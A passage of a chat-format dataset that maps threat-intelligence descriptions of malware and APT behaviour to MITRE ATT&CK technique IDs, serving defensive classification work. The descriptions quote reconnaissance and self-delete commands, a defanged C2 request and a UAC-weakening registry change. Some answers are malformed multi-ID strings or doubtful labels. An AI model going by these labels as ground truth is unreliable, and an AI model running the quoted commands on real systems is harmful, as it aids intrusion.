                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist can execute shell commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One TYPEFRAME variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value \"0x35\"."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dark Caracal collected file listings of all default Windows directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "clears event logs."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather information about the host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA can enumerate files and directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type may create a file containing the results of the command \"cmd.exe /c net user {Username}\"."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once explorer.exe is running, the service configures the environment and executes the C2 contact module: winprint32.exe. This module is responsible for launching the document search module, contact the C2 and exfiltrate the collected documents"
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has run \"ipconfig /all\" on a victim."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can disable Microsoft Office Protected View by changing Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The touch utility sets the modification and access times of files. If any file does not exist, it is created with default permissions. This makes the utility useful to malware in two common scenarios: for creating an empty file at a given path that is later passed data, and/or for changing the timestamp on a file as a means of evasion, also known as “timestomping"
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "networkDll32 Trickbot uses this encrypted module to scan the network and steal relevant network information. It executes the following commands to gather information on the infected system"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols', 'T1041 - Exfiltration Over C2 Channel', 'T1071 - Application Layer Protocol', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has delivered JHUHUGIT and Koadic by executing PowerShell commands through DDE in Word documents."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used domain credentials, including domain admin, for lateral movement and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The function will take another executable embedded in the initial Trojan as a resource named “M”, which it attempts to inject into the following process to execute: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe While it’s configured to inject into cvtres.exe, the Trojan is also capable of injecting its code into the following process as well: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe   Embedded injector Trojan The R payload discussed above is nothing more than an injector Trojan, which accepts a path to an executable and a buffer of code to inject into the process as arguments"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After successfully exporting mail they wished to steal, the attacker would remove the evidence of the export request using Remove-MailboxExportRequest"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Apart from being a flexible and easy-to-use scripting language, BLADABINDI’s use of AutoIt is notable. It uses AutoIt (the FileInstall command) to compile the payload and the main script into a single executable, which can make the payload — the backdoor — difficult to detect"
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to download a file to the system from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The entire command structure gets compressed with zlib and then encrypted using a custom stream cipher."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type may create a file containing the results of the command \"cmd.exe /c ipconfig /all\"."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability, however in late January 2018 when, paradoxically, newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper can recursively wipe folders and files in `Windows`, `Program Files`, `Program Files(x86)`, `PerfLogs`, `Boot, System`, `Volume Information`, and `AppData` folders using `FSCTL_MOVE_FILE`. HermeticWiper can also overwrite symbolic links and big files in `My Documents` and on the Desktop with random bytes."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can use the tokens of users to create processes on infected systems."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Netwalker DLL has been injected reflectively into the memory of a legitimate running process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows authorization credentials. Seedworm uses off-the-shelf, unmodified versions of these tools as well as custom-compiled variants which we have determined are only used by this group"
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy enumerates information about connected storage devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If any of the above files or directories exist, the Windows executable throws an exception and exits. This indicates Redaman checks if it is running in a sandbox or similar type of analysis environment."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower sets up persistence with a Registry run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This document exploited a newer vulnerability, CVE-2017-0199"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ProLock can use WMIC to execute scripts on targeted hosts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates over HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can collect and send OS version and computer name as a part of its C2 beacon."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd.exe /C choice /C Y /N /D Y /T 2 &amp; Del After sleeping, the Trojan will create a GUID and write it to %APPDATA%\\Windows\\GDI.bin. It then moves itself to %APPDATA%\\Windows\\WindowsImplantment.exe and sets both of these files to have the hidden and system flags to hide them from the user. With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. hex(STDOUT of whoami command)&gt; If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can receive and load executables from remote C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to copy files to a remotely connected system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can add itself to the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` and `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UIF2IS20VK` Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hi-Zor creates a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of Open Source Tools In an attempt to avoid detection and as an anti-analysis tactic, the OilRig group abused an open source tool called Invoke-Obfuscation to obfuscate the code used for QUADAGENT. Invoke-Obfuscation is freely available via a Github repository and allows a user to change the visual representation of a PowerShell script simply by selecting the desired obfuscation techniques. Invoke-Obfuscation offers a variety of obfuscation techniques, and by analyzing the script we were able to ascertain the specific options in this attack. After identifying the specific options used to obfuscate QUADAGENT, we were able to deobfuscate the PowerShell script and perform additional analysis. We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script. Invoke-Obfuscation calls the string obfuscation used by the actors to further obfuscate this script Reorder, which uses the string formatting functionality within PowerShell to reconstruct strings from out of order substrings (ex. 1}{0}\" -f 'bar','foo'). During our analysis, we installed Invoke-Obfuscation and used it to obfuscate a previously collected QUADAGENT sample to confirm our analysis. We captured the commands we ran in Invoke-Obfuscation in the animation in Figure 3 below, which visualizes the steps the threat actor may have taken to create the payload delivered in this attack"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has downloaded additional files and payloads onto a compromised host following initial access."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware will setup the miner and then the miner will persist it in the system in two ways: 1) by adding itself as a service if the malware gains admin privileges or 2) by adding the batch file to the startup folder"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has masqueraded as Windows system file names, as well as \"chkntfs.exe\" and \"syscron.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers dropped Visual Basic and PowerShell scripts in folders that they created under the ProgramData (a hidden folder, by default). The attackers created persistence using Windows’ registry, services and scheduled tasks. This persistence mechanism ensured that the loader scripts would execute either at startup or at predetermined intervals"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CVE-2017-11882: Microsoft Office Stack Memory Corruption Vulnerability CVE-2017-11882 affects several versions of Microsoft Office and, when exploited, allows a remote user to run arbitrary code in the context of the current user as a result of improperly handling objects in memory"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After Tor is up and running, Siloscape uses it to connect to its C2 – an IRC server, using an onion address that was provided as a command line argument"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In other cases, threat actors placed web shells on externally accessible servers, sometimes behind a reverse proxy, to execute commands on the compromised system"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy', 'T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used WinSCP to exfiltrate data from a targeted organization over FTP."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries can also use NETEAGLE to establish an RDP connection with a controller over TCP/7519."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors were observed targeting the LSASS process or Active directory (NDST.DIT) for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory', 'T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In total Unit 42 has seen over 50 versions of these weaponized documents spanning from late October through to March. We’ve used these to lay out a timeline, which will be referenced throughout the remainder of this blog, of the milestones of evolution that provides some insight into why the changes are made. Note: This figure does not cover all versions seen but simply milestone changes. It does however start with the first version created on October 23rd, last saved 25th October and first seen by our Wildfire cloud sandbox 26th October."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For instance, here are the resulting decrypted strings from each of the case statements (dd7e69e1…): Case – String decrypted 1 – 185.25.50[.]93 2 – POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1\\r\\nHost: 185.25.50[.]93\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 3 – porg= 4 – Content-Length: The Trojan uses raw sockets to communicate with its C2 server and uses the decrypted string above to create HTTP requests"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1140 - Deobfuscate/Decode Files or Information', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LOWBALL uses the Dropbox cloud storage service for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once  has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy to 1."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, the malware goes over the files and directories from the paths_to_wipe config, fills them with zero-bytes instead of their real content, and then deletes them"
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IndigoZebra has compromised legitimate email accounts to use in their spearphishing operations."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker has obfuscated its code to prevent its removal from host machines."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
